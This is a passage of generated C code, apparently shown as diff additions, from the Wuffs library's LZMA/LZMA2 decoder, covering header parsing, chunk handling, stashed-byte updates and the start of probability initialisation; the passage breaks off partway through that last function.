-------- func lzma.decoder.do_transform_io ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_lzma__decoder__do_transform_io( ++ wuffs_lzma__decoder* self, ++ wuffs_base__io_buffer* a_dst, ++ wuffs_base__io_buffer* a_src, ++ wuffs_base__slice_u8 a_workbuf) { ++ wuffs_base__status status = wuffs_base__make_status(NULL); ++ ++ uint8_t v_header_byte = 0; ++ uint8_t v_c8 = 0; ++ uint32_t v_c32 = 0; ++ uint8_t v_prop_byte = 0; ++ uint32_t v_lc = 0; ++ uint32_t v_lp = 0; ++ uint32_t v_pb = 0; ++ uint32_t v_length = 0; ++ uint32_t v_n_copied = 0; ++ uint64_t v_smark = 0; ++ wuffs_base__status v_status = wuffs_base__make_status(NULL); ++ ++ uint8_t* iop_a_dst = NULL; ++ uint8_t* io0_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ uint8_t* io1_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ uint8_t* io2_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ if (a_dst && a_dst->data.ptr) { ++ io0_a_dst = a_dst->data.ptr; ++ io1_a_dst = io0_a_dst + a_dst->meta.wi; ++ iop_a_dst = io1_a_dst; ++ io2_a_dst = io0_a_dst + a_dst->data.len; ++ if (a_dst->meta.closed) { ++ io2_a_dst = iop_a_dst; ++ } ++ } ++ const uint8_t* iop_a_src = NULL; ++ const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ if (a_src && a_src->data.ptr) { ++ io0_a_src = a_src->data.ptr; ++ io1_a_src = io0_a_src + a_src->meta.ri; ++ iop_a_src = io1_a_src; ++ io2_a_src = io0_a_src + a_src->meta.wi; ++ } ++ ++ uint32_t coro_susp_point = self->private_impl.p_do_transform_io; ++ if (coro_susp_point) { ++ v_header_byte = self->private_data.s_do_transform_io.v_header_byte; ++ v_length = self->private_data.s_do_transform_io.v_length; ++ } ++ switch (coro_susp_point) { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; ++ ++ self->private_impl.f_lzma2_need_prob_reset = true; ++ self->private_impl.f_lzma2_need_properties = true; ++ self->private_impl.f_lzma2_need_dict_reset = true; ++ while (true) { ++ if ((self->private_impl.f_format_extension & 255u) == 0u) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_0 = *iop_a_src++; ++ v_prop_byte = t_0; ++ } ++ if (v_prop_byte >= 225u) { ++ status = wuffs_base__make_status(wuffs_lzma__error__bad_header); ++ goto exit; ++ } ++ v_lc = ((uint32_t)(((uint8_t)(v_prop_byte % 9u)))); ++#if defined(__GNUC__) ++#pragma GCC diagnostic push ++#pragma GCC diagnostic ignored "-Wconversion" ++#endif ++ v_prop_byte /= 9u; ++#if defined(__GNUC__) ++#pragma GCC diagnostic pop ++#endif ++ v_lp = ((uint32_t)(((uint8_t)(v_prop_byte % 5u)))); ++ v_pb = ((uint32_t)(((uint8_t)(v_prop_byte / 5u)))); ++ if ((v_lc + v_lp) > 4u) { ++ status = wuffs_base__make_status(wuffs_lzma__error__unsupported_properties); ++ goto exit; ++ } ++ self->private_impl.f_lc = wuffs_base__u32__min(v_lc, 4u); ++ self->private_impl.f_lp = v_lp; ++ self->private_impl.f_pb = v_pb; ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); ++ uint32_t t_1; ++ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { ++ t_1 = wuffs_base__peek_u32le__no_bounds_check(iop_a_src); ++ iop_a_src += 4; ++ } else { ++ self->private_data.s_do_transform_io.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); ++ while (true) { ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint64_t* scratch = &self->private_data.s_do_transform_io.scratch; ++ uint32_t num_bits_1 = ((uint32_t)(*scratch >> 56)); ++ *scratch <<= 8; ++ *scratch >>= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_1; ++ if (num_bits_1 == 24) { ++ t_1 = ((uint32_t)(*scratch)); ++ break; ++ } ++ num_bits_1 += 8u; ++ *scratch |= ((uint64_t)(num_bits_1)) << 56; ++ } ++ } ++ v_c32 = t_1; ++ } ++ self->private_impl.f_dict_size = wuffs_base__u32__max(v_c32, 4096u); ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); ++ uint64_t t_2; ++ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 8)) { ++ t_2 = wuffs_base__peek_u64le__no_bounds_check(iop_a_src); ++ iop_a_src += 8; ++ } else { ++ self->private_data.s_do_transform_io.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(5); ++ while (true) { ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint64_t* scratch = &self->private_data.s_do_transform_io.scratch; ++ uint32_t num_bits_2 = ((uint32_t)(*scratch >> 56)); ++ *scratch <<= 8; ++ *scratch >>= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_2; ++ if (num_bits_2 == 56) { ++ t_2 = ((uint64_t)(*scratch)); ++ break; ++ } ++ num_bits_2 += 8u; ++ *scratch |= ((uint64_t)(num_bits_2)) << 56; ++ } ++ } ++ self->private_impl.f_decoded_length = t_2; ++ } ++ if ((self->private_impl.f_decoded_length >= 9223372036854775808u) && (self->private_impl.f_decoded_length != 18446744073709551615u)) { ++ status = wuffs_base__make_status(wuffs_lzma__error__unsupported_decoded_length); ++ goto exit; ++ } ++ wuffs_lzma__decoder__initialize_probs(self); ++ } else if ((self->private_impl.f_format_extension & 255u) == 1u) { ++ self->private_impl.f_lc = 3u; ++ self->private_impl.f_lp = 0u; ++ self->private_impl.f_pb = 2u; ++ self->private_impl.f_decoded_length = 18446744073709551615u; ++ wuffs_lzma__decoder__initialize_probs(self); ++ } else { ++ while (((uint64_t)(io2_a_src - iop_a_src)) <= 0u) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(6); ++ } ++ if (wuffs_base__peek_u8be__no_bounds_check(iop_a_src) == 0u) { ++ iop_a_src += 1u; ++ break; ++ } ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(7); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_3 = *iop_a_src++; ++ v_header_byte = t_3; ++ } ++ if (v_header_byte < 128u) { ++ if (v_header_byte < 2u) { ++ self->private_impl.f_lzma2_need_prob_reset = true; ++ self->private_impl.f_lzma2_need_properties = true; ++ self->private_impl.f_lzma2_need_dict_reset = false; ++ wuffs_lzma__decoder__initialize_dict(self); ++ } else if ((v_header_byte > 2u) || self->private_impl.f_lzma2_need_dict_reset) { ++ status = wuffs_base__make_status(wuffs_lzma__error__bad_lzma2_header); ++ goto exit; ++ } ++ self->private_impl.f_prev_lzma2_chunk_was_uncompressed = true; ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(8); ++ uint32_t t_4; ++ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 2)) { ++ t_4 = ((uint32_t)(wuffs_base__peek_u16be__no_bounds_check(iop_a_src))); ++ iop_a_src += 2; ++ } else { ++ self->private_data.s_do_transform_io.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(9); ++ while (true) { ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint64_t* scratch = &self->private_data.s_do_transform_io.scratch; ++ uint32_t num_bits_4 = ((uint32_t)(*scratch & 0xFFu)); ++ *scratch >>= 8; ++ *scratch <<= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_4); ++ if (num_bits_4 == 8) { ++ t_4 = ((uint32_t)(*scratch >> 48)); ++ break; ++ } ++ num_bits_4 += 8u; ++ *scratch |= ((uint64_t)(num_bits_4)); ++ } ++ } ++ v_c32 = t_4; ++ } ++ v_length = (1u + v_c32); ++ while (true) { ++ v_n_copied = wuffs_private_impl__io_writer__limited_copy_u32_from_reader( ++ &iop_a_dst, io2_a_dst,v_length, &iop_a_src, io2_a_src); ++ wuffs_private_impl__u64__sat_add_indirect(&self->private_impl.f_stashed_pos, ((uint64_t)(v_n_copied))); ++ if (v_length <= v_n_copied) { ++ break; ++ } ++ v_length -= v_n_copied; ++ if (((uint64_t)(io2_a_dst - iop_a_dst)) == 0u) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_write); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(10); ++ } else { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(11); ++ } ++ } ++ continue; ++ } ++ self->private_impl.f_decoded_length = ((uint64_t)(v_header_byte)); ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(12); ++ uint32_t t_5; ++ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 2)) { ++ t_5 = ((uint32_t)(wuffs_base__peek_u16be__no_bounds_check(iop_a_src))); ++ iop_a_src += 2; ++ } else { ++ self->private_data.s_do_transform_io.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(13); ++ while (true) { ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint64_t* scratch = &self->private_data.s_do_transform_io.scratch; ++ uint32_t num_bits_5 = ((uint32_t)(*scratch & 0xFFu)); ++ *scratch >>= 8; ++ *scratch <<= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_5); ++ if (num_bits_5 == 8) { ++ t_5 = ((uint32_t)(*scratch >> 48)); ++ break; ++ } ++ num_bits_5 += 8u; ++ *scratch |= ((uint64_t)(num_bits_5)); ++ } ++ } ++ v_c32 = t_5; ++ } ++ self->private_impl.f_decoded_length = (((self->private_impl.f_decoded_length & 31u) << 16u) + ((uint64_t)((1u + v_c32)))); ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(14); ++ uint32_t t_6; ++ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 2)) { ++ t_6 = ((uint32_t)(wuffs_base__peek_u16be__no_bounds_check(iop_a_src))); ++ iop_a_src += 2; ++ } else { ++ self->private_data.s_do_transform_io.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(15); ++ while (true) { ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint64_t* scratch = &self->private_data.s_do_transform_io.scratch; ++ uint32_t num_bits_6 = ((uint32_t)(*scratch & 0xFFu)); ++ *scratch >>= 8; ++ *scratch <<= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_6); ++ if (num_bits_6 == 8) { ++ t_6 = ((uint32_t)(*scratch >> 48)); ++ break; ++ } ++ num_bits_6 += 8u; ++ *scratch |= ((uint64_t)(num_bits_6)); ++ } ++ } ++ v_c32 = t_6; ++ } ++ self->private_impl.f_lzma2_encoded_length_want = ((uint64_t)((1u + v_c32))); ++ if (v_header_byte >= 160u) { ++ wuffs_lzma__decoder__initialize_probs(self); ++ self->private_impl.f_lzma2_need_prob_reset = false; ++ } ++ if (v_header_byte >= 192u) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(16); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_7 = *iop_a_src++; ++ v_prop_byte = t_7; ++ } ++ if (v_prop_byte >= 225u) { ++ status = wuffs_base__make_status(wuffs_lzma__error__bad_lzma2_header); ++ goto exit; ++ } ++ v_lc = ((uint32_t)(((uint8_t)(v_prop_byte % 9u)))); ++#if defined(__GNUC__) ++#pragma GCC diagnostic push ++#pragma GCC diagnostic ignored "-Wconversion" ++#endif ++ v_prop_byte /= 9u; ++#if defined(__GNUC__) ++#pragma GCC diagnostic pop ++#endif ++ v_lp = ((uint32_t)(((uint8_t)(v_prop_byte % 5u)))); ++ v_pb = ((uint32_t)(((uint8_t)(v_prop_byte / 5u)))); ++ if ((v_lc + v_lp) > 4u) { ++ status = wuffs_base__make_status(wuffs_lzma__error__bad_lzma2_header); ++ goto exit; ++ } ++ self->private_impl.f_lc = wuffs_base__u32__min(v_lc, 4u); ++ self->private_impl.f_lp = v_lp; ++ self->private_impl.f_pb = v_pb; ++ self->private_impl.f_lzma2_need_properties = false; ++ } ++ if (v_header_byte >= 224u) { ++ self->private_impl.f_lzma2_need_dict_reset = false; ++ wuffs_lzma__decoder__initialize_dict(self); ++ } else if (self->private_impl.f_prev_lzma2_chunk_was_uncompressed) { ++ if (a_dst) { ++ a_dst->meta.wi = ((size_t)(iop_a_dst - a_dst->data.ptr)); ++ } ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(17); ++ status = wuffs_lzma__decoder__update_stashed_bytes(self, a_dst, a_workbuf); ++ if (a_dst) { ++ iop_a_dst = a_dst->data.ptr + a_dst->meta.wi; ++ } ++ if (status.repr) { ++ goto suspend; ++ } ++ } ++ self->private_impl.f_prev_lzma2_chunk_was_uncompressed = false; ++ if (self->private_impl.f_lzma2_need_prob_reset || self->private_impl.f_lzma2_need_properties || self->private_impl.f_lzma2_need_dict_reset) { ++ status = wuffs_base__make_status(wuffs_lzma__error__bad_lzma2_header); ++ goto exit; ++ } ++ } ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(18); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_8 = *iop_a_src++; ++ v_c8 = t_8; ++ } ++ if ((v_c8 != 0u) && ! self->private_impl.f_allow_non_zero_initial_byte) { ++ status = wuffs_base__make_status(wuffs_lzma__error__bad_code); ++ goto exit; ++ } ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(19); ++ uint32_t t_9; ++ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { ++ t_9 = wuffs_base__peek_u32be__no_bounds_check(iop_a_src); ++ iop_a_src += 4; ++ } else { ++ self->private_data.s_do_transform_io.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(20); ++ while (true) { ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint64_t* scratch = &self->private_data.s_do_transform_io.scratch; ++ uint32_t num_bits_9 = ((uint32_t)(*scratch & 0xFFu)); ++ *scratch >>= 8; ++ *scratch <<= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_9); ++ if (num_bits_9 == 24) { ++ t_9 = ((uint32_t)(*scratch >> 32)); ++ break; ++ } ++ num_bits_9 += 8u; ++ *scratch |= ((uint64_t)(num_bits_9)); ++ } ++ } ++ self->private_impl.f_stashed_bits = t_9; ++ } ++ if (self->private_impl.f_stashed_bits == 4294967295u) { ++ status = wuffs_base__make_status(wuffs_lzma__error__bad_code); ++ goto exit; ++ } ++ self->private_impl.f_stashed_range = 4294967295u; ++ self->private_impl.f_stashed_pos_end = wuffs_base__u64__sat_add(self->private_impl.f_stashed_pos, self->private_impl.f_decoded_length); ++ if ((self->private_impl.f_stashed_pos_end == 18446744073709551615u) && (self->private_impl.f_decoded_length != 18446744073709551615u)) { ++ status = wuffs_base__make_status(wuffs_lzma__error__unsupported_decoded_length); ++ goto exit; ++ } ++ self->private_impl.f_lzma2_encoded_length_have = 5u; ++ while (((uint64_t)(a_workbuf.len)) < (((uint64_t)(self->private_impl.f_dict_size)) + 273u)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_workbuf); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(21); ++ } ++ while (true) { ++ v_smark = ((uint64_t)(iop_a_src - io0_a_src)); ++ { ++ if (a_dst) { ++ a_dst->meta.wi = ((size_t)(iop_a_dst - a_dst->data.ptr)); ++ } ++ if (a_src) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ wuffs_base__status t_10 = wuffs_lzma__decoder__decode_bitstream(self, a_dst, a_src, a_workbuf); ++ v_status = t_10; ++ if (a_dst) { ++ iop_a_dst = a_dst->data.ptr + a_dst->meta.wi; ++ } ++ if (a_src) { ++ iop_a_src = a_src->data.ptr + a_src->meta.ri; ++ } ++ } ++ wuffs_private_impl__u64__sat_add_indirect(&self->private_impl.f_lzma2_encoded_length_have, wuffs_private_impl__io__count_since(v_smark, ((uint64_t)(iop_a_src - io0_a_src)))); ++ if (wuffs_base__status__is_ok(&v_status)) { ++ break; ++ } ++ status = v_status; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(22); ++ } ++ if (self->private_impl.f_decoded_length == 18446744073709551615u) { ++ if (self->private_impl.f_stashed_bits != 0u) { ++ status = wuffs_base__make_status(wuffs_lzma__error__bad_bitstream_trailer); ++ goto exit; ++ } ++ } else if (self->private_impl.f_stashed_pos != self->private_impl.f_stashed_pos_end) { ++ status = wuffs_base__make_status(wuffs_lzma__error__bad_decoded_length); ++ goto exit; ++ } else if (self->private_impl.f_stashed_bits != 0u) { ++ if (a_src) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(23); ++ status = wuffs_lzma__decoder__decode_optional_end_of_stream(self, a_src, a_workbuf); ++ if (a_src) { ++ iop_a_src = a_src->data.ptr + a_src->meta.ri; ++ } ++ if (status.repr) { ++ goto suspend; ++ } ++ if (self->private_impl.f_stashed_bits != 0u) { ++ status = wuffs_base__make_status(wuffs_lzma__error__bad_bitstream_trailer); ++ goto exit; ++ } ++ } ++ if ((self->private_impl.f_format_extension & 255u) < 2u) { ++ break; ++ } else if (self->private_impl.f_lzma2_encoded_length_have != self->private_impl.f_lzma2_encoded_length_want) { ++ status = wuffs_base__make_status(wuffs_lzma__error__bad_lzma2_header); ++ goto exit; ++ } ++ } ++ ++ ok: ++ self->private_impl.p_do_transform_io = 0; ++ goto exit; ++ } ++ ++ goto suspend; ++ suspend: ++ self->private_impl.p_do_transform_io = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ self->private_data.s_do_transform_io.v_header_byte = v_header_byte; ++ self->private_data.s_do_transform_io.v_length = v_length; ++ ++ goto exit; ++ exit: ++ if (a_dst && a_dst->data.ptr) { ++ a_dst->meta.wi = ((size_t)(iop_a_dst - a_dst->data.ptr)); ++ } ++ if (a_src && a_src->data.ptr) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ ++ return status; ++} ++ ++// -------- func lzma.decoder.decode_bitstream ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_lzma__decoder__decode_bitstream( ++ wuffs_lzma__decoder* self, ++ wuffs_base__io_buffer* a_dst, ++ wuffs_base__io_buffer* a_src, ++ wuffs_base__slice_u8 a_workbuf) { ++ wuffs_base__status status = wuffs_base__make_status(NULL); ++ ++ wuffs_base__status v_status = wuffs_base__make_status(NULL); ++ ++ uint32_t coro_susp_point = self->private_impl.p_decode_bitstream; ++ switch (coro_susp_point) { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; ++ ++ self->private_impl.f_end_of_chunk = false; ++ while (true) { ++ v_status = wuffs_lzma__decoder__decode_bitstream_fast(self, a_dst, a_src, a_workbuf); ++ if (wuffs_base__status__is_error(&v_status)) { ++ status = v_status; ++ goto exit; ++ } ++ if (self->private_impl.f_end_of_chunk) { ++ break; ++ } ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); ++ status = wuffs_lzma__decoder__decode_bitstream_slow(self, a_dst, a_src, a_workbuf); ++ if (status.repr) { ++ goto suspend; ++ } ++ if (self->private_impl.f_end_of_chunk) { ++ break; ++ } ++ } ++ ++ goto ok; ++ ok: ++ self->private_impl.p_decode_bitstream = 0; ++ goto exit; ++ } ++ ++ goto suspend; ++ suspend: ++ self->private_impl.p_decode_bitstream = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ ++ goto exit; ++ exit: ++ return status; ++} ++ ++// -------- func lzma.decoder.update_stashed_bytes ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_lzma__decoder__update_stashed_bytes( ++ wuffs_lzma__decoder* self, ++ wuffs_base__io_buffer* a_dst, ++ wuffs_base__slice_u8 a_workbuf) { ++ wuffs_base__status status = wuffs_base__make_status(NULL); ++ ++ uint32_t v_dist = 0; ++ uint32_t v_which = 0; ++ uint32_t v_adj_dist = 0; ++ uint64_t v_wb_index = 0; ++ ++ uint8_t* iop_a_dst = NULL; ++ uint8_t* io0_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ uint8_t* io1_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ uint8_t* io2_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ if (a_dst && a_dst->data.ptr) { ++ io0_a_dst = a_dst->data.ptr; ++ io1_a_dst = io0_a_dst + a_dst->meta.wi; ++ iop_a_dst = io1_a_dst; ++ io2_a_dst = io0_a_dst + a_dst->data.len; ++ if (a_dst->meta.closed) { ++ io2_a_dst = iop_a_dst; ++ } ++ } ++ ++ uint32_t coro_susp_point = self->private_impl.p_update_stashed_bytes; ++ switch (coro_susp_point) { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; ++ ++ while (((uint64_t)(io2_a_dst - iop_a_dst)) <= 0u) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_write); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(1); ++ } ++ v_dist = 1u; ++ v_which = 0u; ++ while (v_which < 2u) { ++ if (((uint64_t)(v_dist)) <= ((uint64_t)(iop_a_dst - io0_a_dst))) { ++ wuffs_private_impl__io_writer__limited_copy_u32_from_history( ++ &iop_a_dst, io0_a_dst, io2_a_dst, 1u, v_dist); ++ if ( ! (iop_a_dst > io1_a_dst)) { ++ status = wuffs_base__make_status(wuffs_lzma__error__internal_error_inconsistent_dictionary_state); ++ goto exit; ++ } ++ self->private_impl.f_stashed_bytes[v_which] = iop_a_dst[-1]; ++ iop_a_dst--; ++ } else { ++ v_adj_dist = ((uint32_t)((((uint64_t)(v_dist)) - ((uint64_t)(iop_a_dst - io0_a_dst))))); ++ v_wb_index = ((uint64_t)(((uint64_t)(self->private_impl.f_dict_workbuf_index)) - ((uint64_t)(v_adj_dist)))); ++ while (v_wb_index >= 9223372036854775808u) { ++ v_wb_index += ((uint64_t)(self->private_impl.f_dict_size)); ++ } ++ if (v_wb_index >= ((uint64_t)(a_workbuf.len))) { ++ status = wuffs_base__make_status(wuffs_lzma__error__internal_error_inconsistent_dictionary_state); ++ goto exit; ++ } ++ self->private_impl.f_stashed_bytes[v_which] = a_workbuf.ptr[v_wb_index]; ++ } ++ v_dist = (1u + self->private_impl.f_stashed_rep0); ++ v_which += 1u; ++ } ++ ++ ok: ++ self->private_impl.p_update_stashed_bytes = 0; ++ goto exit; ++ } ++ ++ goto suspend; ++ suspend: ++ self->private_impl.p_update_stashed_bytes = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ ++ goto exit; ++ exit: ++ if (a_dst && a_dst->data.ptr) { ++ a_dst->meta.wi = ((size_t)(iop_a_dst - a_dst->data.ptr)); ++ } ++ ++ return status; ++} ++ ++// -------- func lzma.decoder.decode_optional_end_of_stream ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_lzma__decoder__decode_optional_end_of_stream( ++ wuffs_lzma__decoder* self, ++ wuffs_base__io_buffer* a_src, ++ wuffs_base__slice_u8 a_workbuf) { ++ wuffs_base__status status = wuffs_base__make_status(NULL); ++ ++ wuffs_base__io_buffer u_w = wuffs_base__empty_io_buffer(); ++ wuffs_base__io_buffer* v_w = &u_w; ++ uint8_t* iop_v_w WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ uint8_t* io0_v_w WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ uint8_t* io1_v_w WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ uint8_t* io2_v_w WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ wuffs_base__status v_status = wuffs_base__make_status(NULL); ++ ++ uint32_t coro_susp_point = self->private_impl.p_decode_optional_end_of_stream; ++ switch (coro_susp_point) { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; ++ ++ self->private_impl.f_stashed_pos_end = 18446744073709551615u; ++ while (true) { ++ { ++ wuffs_base__io_buffer* o_0_v_w = v_w; ++ uint8_t* o_0_iop_v_w = iop_v_w; ++ uint8_t* o_0_io0_v_w = io0_v_w; ++ uint8_t* o_0_io1_v_w = io1_v_w; ++ uint8_t* o_0_io2_v_w = io2_v_w; ++ v_w = wuffs_private_impl__io_writer__set( ++ &u_w, ++ &iop_v_w, ++ &io0_v_w, ++ &io1_v_w, ++ &io2_v_w, ++ wuffs_base__utility__empty_slice_u8(), ++ 0u); ++ { ++ wuffs_base__status t_0 = wuffs_lzma__decoder__decode_bitstream_slow(self, v_w, a_src, a_workbuf); ++ v_status = t_0; ++ } ++ v_w = o_0_v_w; ++ iop_v_w = o_0_iop_v_w; ++ io0_v_w = o_0_io0_v_w; ++ io1_v_w = o_0_io1_v_w; ++ io2_v_w = o_0_io2_v_w; ++ } ++ if (wuffs_base__status__is_ok(&v_status)) { ++ break; ++ } else if (v_status.repr == wuffs_base__suspension__short_write) { ++ status = wuffs_base__make_status(wuffs_lzma__error__bad_bitstream_trailer); ++ goto exit; ++ } ++ status = v_status; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(1); ++ } ++ self->private_impl.f_stashed_pos_end = self->private_impl.f_stashed_pos; ++ ++ ok: ++ self->private_impl.p_decode_optional_end_of_stream = 0; ++ goto exit; ++ } ++ ++ goto suspend; ++ suspend: ++ self->private_impl.p_decode_optional_end_of_stream = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ ++ goto exit; ++ exit: ++ return status; ++} ++ ++// -------- func lzma.decoder.initialize_dict ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__empty_struct ++wuffs_lzma__decoder__initialize_dict( ++ wuffs_lzma__decoder* self) { ++ self->private_impl.f_dict_workbuf_index = 0u; ++ self->private_impl.f_dict_seen = 0u; ++ self->private_impl.f_stashed_bytes[0u] = 0u; ++ self->private_impl.f_stashed_bytes[1u] = 0u; ++ self->private_impl.f_stashed_pos = 0u; ++ return wuffs_base__make_empty_struct(); ++} ++ ++// -------- func lzma.decoder.initialize_probs ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__empty_struct ++wuffs_lzma__decoder__initialize_probs( ++ wuffs_lzma__decoder* self) { ++ uint32_t v_i = 0; ++ uint32_t v_j = 0; ++ ++ v_i = 0u; ++ while (v_i < 192u) { ++ self->private_data.f_probs_ao00[v_i] = 1024u; ++ v_i += 1u; ++ } ++ v_i = 0u; ++ while (v_i < 12u) { ++ self->private_data.f_probs_ao20[v_i] = 1024u; ++ v_i += 1u; ++ } ++ v_i = 0u; ++ while (v_i < 12u) { ++ self->private_data.f_probs_ao40[v_i] = 1024u; ++ v_i += 1u; ++ } ++ v_i = 0u; ++ while (v_i < 192u) { ++ self->private_data.f_probs_ao41[v_i] = 1024u; ++ v_i += 1u; ++ } ++ v_i = 0u; ++ while (v_i < 12u) { ++ self->private_data.f_probs_ao60[v_i] = 1024u; ++ v_i += 1u; ++ } ++ v_i = 0u; ++ while (v_i < 12u) { ++ self->private_data.f_probs_ao63[v_i] = 1024u; ++ v_i += 1u; ++ } ++ v_i = 0u; ++ while (v_i < 16u) { ++ v_j = 0u; ++ while (v_j < 8u) { ++ self->private_data.f_probs_match_len_low[v_i][v_j] = 1024u; ++ v_j += 1u; ++ } ++ v_i += 1u; ++ } ++ v_i = 0u; ++ while (v_i < 16u) { ++ v_j = 0u; ++ while (v_j < 8u) { ++ self->private_data.f_probs_match_len_mid[v_i][v_j] = 1024u; ++ v_j += 1u; ++ } ++ v_i += 1u; ++ } ++ v_i = 0u; ++ while (v_i < 256u) { ++ self->private_data.f_probs_match_len_high[0u][v_i] = 1024u; ++ v_i += 1u; ++ } ++ v_i = 0u; ++ while (v_i < 16u) { ++ v_j = 